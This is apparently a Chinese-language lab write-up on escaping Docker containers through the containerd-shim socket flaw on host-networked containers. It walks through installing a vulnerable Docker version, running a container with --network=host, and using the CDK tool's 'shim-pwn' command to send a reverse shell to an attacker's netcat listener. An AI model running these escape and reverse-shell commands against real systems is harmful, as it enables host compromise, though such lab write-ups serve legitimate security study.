首先来解释一下docker逃逸是什么意思,按我的理解就是由于一些docker运行规则中有漏洞还有一些错误配置导致的docker逃逸到真实的物理机,获得物理机权限,实现反弹shell进而控制物理机。
本文参考网址:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities
以及周老师分享的文档。
docker执行拆卸计划时、OCI着手定义容器相关的两个规范:1、镜像规范;2、容器运行时规范。2017年7月1日发布了0.1版本。
受OCI的影响:
docker Daemon不包含容器运行时代码,所有容器运行时代码在单独的OCI兼容层实现,默认情况下就是RUNC
Docker引擎中的Containerd的作用时,保证传给RUNC的镜像是以OCI Bunddle格式。
我的理解:他就是一个规范数据格式的协议和fastcgi差不多
containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。
Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。
在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。
docker容器以--net=host 启动会暴露containerd-shim 监听的 Unix 域套接字:
root@docker-virtual-machine:~# uname -a
Linux docker-virtual-machine 5.4.0-84-generic #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
root@docker-virtual-machine:~# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.6 LTS
Release: 18.04
Codename: bionic
root@docker-virtual-machine:~#
参考链接:https://bbs.huaweicloud.com/forum/thread-59673-1-1.html
wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz
tar -zxvf docker-18.09.0.tgz
cp -p docker/* /usr/bin/
cat >/lib/systemd/system/docker.service <
启动并设置为开机自启
root@docker-virtual-machine:~# systemctl start docker
root@docker-virtual-machine:~# systemctl enable docker
root@docker-virtual-machine:/etc/apt# docker pull ubuntu:18.04
root@docker-virtual-machine:/etc/apt# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu 18.04 3941d3b032a8 2 weeks ago 63.1MB
root@docker-virtual-machine:/etc/apt# docker run -it --rm --network=host 3941d3b032a8
--rm 退出容器时删除
下载地址:Release 0.1.6 · cdk-team/CDK · GitHub
解压后我们此实验只需使用cdk_linux_amd64文件,此文件可以将使用有漏洞的docker的主机的权限反射到攻击者的主机上。
解压
root@docker-virtual-machine:~# tar -zxvf cdk_v0.1.6_release.tar.gz
拷贝到docker中
root@docker-virtual-machine:~# docker cp cdk_linux_amd64* 0ac6790c092d:/
root@docker-virtual-machine:/# ./cdk_linux_amd64 run shim-pwn 192.168.242.140 1337
这里的地址是攻击者的地址
┌──(rootkali)-[~]
└─# nc -lvvp 1337
listening on [any] 1337 ...